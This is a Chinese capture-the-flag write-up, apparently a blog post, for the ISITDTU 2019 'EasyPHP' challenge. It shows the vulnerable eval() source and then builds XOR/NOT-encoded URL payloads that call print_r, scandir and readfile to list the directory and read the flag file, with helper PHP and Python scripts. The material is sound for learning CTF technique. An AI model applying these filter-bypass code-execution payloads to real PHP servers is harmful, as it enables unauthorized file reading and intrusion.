[ISITDTU 2019]EasyPHP

2 篇文章 0 订阅
<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

审计代码得知,我们需要满足两个if语句,先看第一个if语句:

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

我们要get传入_,并且php会对_进行正则匹配,过滤的内容很多,\x00(NULL)-\x20(Space)、数字0-9、字符`、"、$&等,有点像无字符数字rce,可以取反绕过,再看第二个if

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

strtolower()函数:PHP strtolower() 函数 | 菜鸟教程,就是将传入的_转换为小写,count_chars()函数:PHP count_chars() 函数 | 菜鸟教程,count_chars(string,mode)根据mode的值检查string中出现的字符串,在本题中mode=3,字符串,带有所有使用过的不同的字符,例如:

而strlen()函数则是返回字符串的长度,在本题中检查字符串的长度是否大于十三,如果字符串长度大于十三就die了。先使用取反来查看phpinfo():

<?php
print(urlencode(~'phpinfo'));
?>

输出结果为%8F%97%8F%96%91%99%90,get传值试一下

没有回显,换一种取反方式异或%FF,payload:/?_=((%8F%97%8F%96%91%99%90)^(%FF%FF%FF%FF%FF%FF%FF))();

成功回显,查看一下禁用函数 

禁用了很多的函数,但是我们仍可以用scandir()、var_dump()、readfile()、print_r()等来查看目录,并读取flag,先print_r(scandir(.))输出当前目录下的内容

<?php
echo(urlencode(~'print_r'));
echo nl2br("\n");
echo(urlencode(~'scandir'));
echo nl2br("\n");
echo(urlencode(~'.'));
?>

输出结果为:%8F%8D%96%91%8B%A0%8D %8C%9C%9E%91%9B%96%8D %D1,构造payload:/?_=(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%D1)^(%FF)));

有回显,但是被第二层if给拦截了,一定是我们的payload没有通过strlen(count_chars(strtolower($_), 0x3))的检查,测试一下

<?php
print(strlen(count_chars(strtolower('(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%D1)^(%FF)));'), 0x3)));
?>

测试长度为16确实超出了规定范围,这个时候我们可以使用异或的方法通过已存在的字符构造出来字符来代替三个其中的字符,这样长度就从16缩到了13,选择使用pscadi来代替ntr,python脚本

str = 'pscadi'
target = 'ntr'

for m in target:
    for a in str:
        for b in str:
            for c in str:
                if ord(a) ^ ord(b) ^ ord(c) == ord(m):
                    print("{} = {}^{}^{}".format(m, a, b, c))

运行出来很多结果,我们各取第一个即:n = c^d^i、t = s^c^d、r = p^c^a,替换后的

print_r:(%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF)

scandir:(%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF)

先检验一下,脚本:

<?php
print(urldecode('%8F%9E%96%9C%9C%A0%9E')^urldecode('%FF%9C%FF%9B%9B%FF%9C')^urldecode('%FF%8F%FF%96%8C%FF%8F')^urldecode('%FF%FF%FF%FF%FF%FF%FF'));
print("\n");
print(urldecode('%8C%9C%9E%9C%9B%96%9E')^urldecode('%FF%FF%FF%9B%FF%FF%9C')^urldecode('%FF%FF%FF%96%FF%FF%8F')^urldecode('%FF%FF%FF%FF%FF%FF%FF'));
?>

测试结果是正确的,直接就可以构造新的payload:/?_=((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));

回显成功,flag应该在n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt内,可以看到文件名太长了,而且还在数组的最后一位,很有可能会报错,直接readfile(end(scandir(.))),构造payload:/?_=((%8D%8D%8D%8D%8D%8D%9E%8D)^(%9A%8D%8D%8D%8D%8D%9B%8D)^(%9A%9A%9E%9B%99%96%96%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%8D%9E%8D)^(%8D%99%8D)^(%9A%96%9B)^(%FF%FF%FF))(((%8D%9E%8D%9E%8D%8D%8D)^(%9A%9B%8D%99%8D%8D%9A)^(%9B%99%9E%96%9B%96%9A)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

测试一下:

<?php
echo(urldecode('%8D%8D%8D%8D%8D%8D%9E%8D')^urldecode('%9A%8D%8D%8D%8D%8D%9B%8D')^urldecode('%9A%9A%9E%9B%99%96%96%9A')^urldecode('%FF%FF%FF%FF%FF%FF%FF%FF'));
echo nl2br("\n");
echo(urldecode('%8D%9E%8D')^urldecode('%8D%99%8D')^urldecode('%9A%96%9B')^urldecode('%FF%FF%FF'));
echo nl2br("\n");
echo(urldecode('%8D%9E%8D%9E%8D%8D%8D')^urldecode('%9A%9B%8D%99%8D%8D%9A')^urldecode('%9B%99%9E%96%9B%96%9A')^urldecode('%FF%FF%FF%FF%FF%FF%FF'));
echo nl2br("\n");
echo(urldecode('%D1')^urldecode('%FF'));
?>

测试正确,get传值就可以了 

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值